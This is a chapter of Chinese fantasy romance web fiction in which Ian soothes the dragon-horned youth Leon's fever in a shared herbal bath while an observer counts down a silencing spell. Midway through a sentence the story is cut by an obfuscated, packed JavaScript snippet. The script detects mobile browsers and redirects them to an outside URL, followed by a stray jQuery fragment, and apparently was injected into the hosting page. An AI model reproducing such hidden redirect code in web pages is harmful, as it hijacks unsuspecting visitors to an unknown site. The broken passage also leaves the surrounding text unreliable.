炽白的日轮像一枚被钉在天穹的铜镜，镜面龟裂，裂纹间渗出刺目的光。
第三日的正午，连影子都被烤得薄如蝉翼。松脂在树皮里融化，沿着沟壑缓缓下滴，落地时发出极轻的“嗒”，像某种被拉长的计时声。
太阳悬在头顶，晒得瓦片发软，连风都不敢掠过屋檐。
伊安把最后一扇百叶窗推开时，窗轴发出一声干哑的呻吟，木屑簌簌落在窗台上，带着被阳光晒脆的松香。风被热浪逼退，窗棂外的空气凝滞得像一块透明的琥珀，却又浓稠得几乎能用手舀起，呼吸一口，肺里便灌满了带着甜味的焦糊，全是松脂被烤化的甜味。
莱昂蜷在藤椅深处，龙尾一圈圈缠住椅腿，银环因高温而微微发红。角根处的裂缝像一道极细的峡谷，每一次心跳，峡谷便轻轻扩张，又轻轻合拢——仿佛有一条极小的岩浆河在皮下缓缓流动。少年抬眼，虹膜在强光里缩成两道漆黑的缝，声音被热浪烘得发干：
“……像有火在骨头里煮。”
伊安单膝蹲下，指尖贴上那道裂缝。皮肤下的温度比平时高两度半，像一枚刚出膛的子弹。
“再熬一个时辰，灼潮会升到峰值。”
他说得轻，却像在宣布一场小型死刑。
雷的闷响就在这时滚过天际——
先是“轰”的一声，像鼓槌砸在云面；紧接着，雨点在毫无预警中砸落，噼啪作响，像万根银箭射向干涸大地。
伊安伸手接雨，掌心立刻积起一层凉。
“来得正好。”
他转身，从橱柜深处捧出一口黑漆木浴桶。
桶壁雕着细小的世界树纹，像暗潮涌动的根系。树纹之间嵌着几粒极小的青金石碎屑，沾水即会泛出星芒。
莱昂的尾巴不自觉缠上伊安脚踝，鳞片被雨气蒸得微湿。
“真要……一起？”
“一起。”伊安的声音混着雨声，像某种承诺。
他顿了顿，又补一句：“雪薄荷只剩最后一把，冰泉草也只剩半袋。下一次灼潮，未必有这么好的运气。”
莱昂的喉结动了动，最终只是“嗯”了一声。
…………
浴桶被安置在木屋中央，地板因年久微微下凹，刚好让桶底卡得稳稳当当。
伊安先铺一层晒干的雪薄荷，叶片薄得透光；再撒一把冰泉草，草籽在指腹间发出轻碎的“咔啦”声。
两种味道交叠，像雪夜与冷泉同时涌进鼻腔。
井水一桶一桶提上来，水面浮起淡蓝薄雾，像凝住的月光。
莱昂站在桶边，指尖捏着衣角，指节发白。
雨点从天窗缝隙漏下，砸在他肩胛，溅起细小水花。
“全……全脱吗？”
声音被雨声撕得零碎，却还是被伊安完整接住。
“全脱，才能把灼潮锁进水里。”
伊安说得平静，像在陈述一件再正常不过的事情。
少年耳尖通红，却还是一件件褪下衣物。
最后一片布料落地时，龙尾在水汽里微微发抖。
伊安的动作很轻，像在拆一枚易碎的炸弹——
先是解开自己袖口，再是领口，直到两人之间只剩雨声与水汽。
当莱昂踏进浴桶，水面立刻漾起一圈圈涟漪。
水温比体温低两度，少年倒抽一口气，尾巴本能缠上伊安小腿。
伊安随后踏入，水线漫过两人胸口，像一条柔软的绸带，把心跳悄悄缝合在一起。
“冷吗？”伊安低声问。
“冷。”莱昂的声线微微发颤，“但……能忍。”
伊安抬手，指尖掠过莱昂的角根。裂缝边缘的温度更高，像一块烧红的铁。
“再忍三分钟，灼潮就会开始回落。”
他说着，从外袍口袋掏出计时器。拇指大的金属片，背面刻着「37%」的出厂标签。
他把两片计时器分别贴在莱昂心口与自己左胸。
红灯闪烁，数字开始跳动：
88→92→96→100
雨声、水声、心跳声，三种节奏在狭小木屋渐渐重叠。
莱昂闭眼，睫毛在水汽里颤动，像两只沾湿的蝶。
“听见了吗？”伊安低声问。
“听见你在我身体里敲鼓。”
伊安伸手，指腹沿角根裂缝缓缓按压。每一次按压，裂缝便渗出极细的血珠，落在水面，像朱砂滴进蓝墨，迅速晕开。
少年尾鳍轻颤，喉咙里滚出一声极低的呜咽。
计时器峰值定格：100%，持续37秒。
伊安俯身，舌尖卷走那滴血，咸腥混着雪薄荷的凉，像一场无声的宣誓。
莱昂的尾巴缠得更紧，鳞片与皮肤相贴，温度交换，心跳同频。
——关系刻度+1（36→37）
雨幕外，弦月抱着竖琴，指尖轻拨，无声地记录屋内的共振频率。
他低声自语：“静音咒只剩48小时。”
雨点落在琴弦上，发出极轻的“叮叮”声，像替世界倒计时。
屋内。
水面渐渐升起极细的银光，是青金石碎屑被体温激活。光点像微型星子，在两人之间缓慢旋转。
莱昂伸手，指尖接住一粒星芒，它立刻融进鳞片，留下一点微凉。
“伊安……”少年声音沙哑，“如果48小时后，铃声真的爆发——”
“那就让它爆发。”伊安打断他，“风暴降生从不静音。”
他握住莱昂的手腕，把对方掌心按在自己心口。
“这里是鼓点，你跟着敲，就不会走散。”
莱昂闭眼，手指在伊安胸口轻轻敲出同样的节奏：
咚、咚、咚——与雨声重叠，像一场私密的摩尔斯。
伊安忽然想起什么，从桶沿摸出一只拇指大的玻璃瓶。瓶里盛着半瓶暗红色液体，像凝固的晚霞。
“最后一次裂角时，我存了一点血。”
他说着，拔掉软木塞，将血液滴进水面。血珠入水，立刻被青金石星芒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383460|184165||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
包裹，像一颗正在诞生的微星。
“如果……我们真的走散，”伊安的声音低得几乎听不见，“它会替我找到你。”
莱昂的睫毛颤了颤，忽然伸手捧住伊安的脸。
“不会走散。”他一字一顿，“除非你先松手。”
两人额头相抵，呼吸交缠。水下，青金石的光点越聚越多，像一条被点亮的银河。
…………
窗外，弦月的竖琴背在身后，指尖在弦上无声地移动。
他把木屋的每一次心跳波动都转成数字，记在琴颈内侧的银箔上：
“峰值100%，维持37秒，波动曲线与静音咒衰减速率吻合……”
雨忽然转急。
弦月抬头，灰蓝瞳孔映出乌云里翻滚的雷光。
“还有47小时12分。”
他转身，靴跟碾碎一片薄荷，消失在灌木深处。
……雨停时，水面只剩一圈圈余波。
伊安把计时器贴在莱昂耳后，声音低得只有两人听见：
“还有不到48小时，铃声就会加倍爆发。”
莱昂抬眼，竖瞳里映出伊安的影子，像一枚被点燃的星。
“那就让它爆发。”
伊安在日记写下：
「共浴完成，心率100%，静音咒48h。倒计时第3天，火与血焰，待爆。」
他合上本子，抬头看向窗外。
乌云散开，阳光像一把薄刃，切开雨幕。
远处龙脊山的雪线清晰可见，像一条等待被唤醒的龙。
莱昂的尾巴轻轻缠上伊安脚踝，鳞片在余温里微颤。
“我们明晚启程？”
“明晚。”伊安答，“风暴降生从不迟到。”
浴桶被倒扣在门廊，水渍顺着木纹滴落，像未说完的话。
伊安在桶底发现一粒青金石碎屑，被体温烘得微暖。
他把它嵌进莱昂角根裂缝，银光一闪，裂缝合拢。
“这是标记。”伊安说，“等你第三次裂角，它会发光。”
莱昂摸摸角根，笑出一声极轻的「嗯」。
风从山口吹来，带着松脂与雪的味道。
倒计时仍在继续，像悬在头顶的细线，随时会断。
而此刻，木屋安静，心跳同频。
世界被雨洗过，像一枚刚出壳的卵，等待被风暴啄开。
……
伊安擦干手，从抽屉里取出一张泛黄的信纸。墨水瓶里的液体已凝成胶，他用刀尖挑开，写下几行潦草的字：
“致未来的莱昂：
如果铃声真的撕裂天空，请记得今天的心跳。
——伊安·克洛弗”
他把信折成极小的方块，塞进计时器的暗匣。
“等它再次响起，”伊安轻声说，“我们就回家。”
莱昂靠在门框，落日把少年的侧影镀上一层淡金。
“回家？”
“嗯，”伊安答，“回有你的地方。”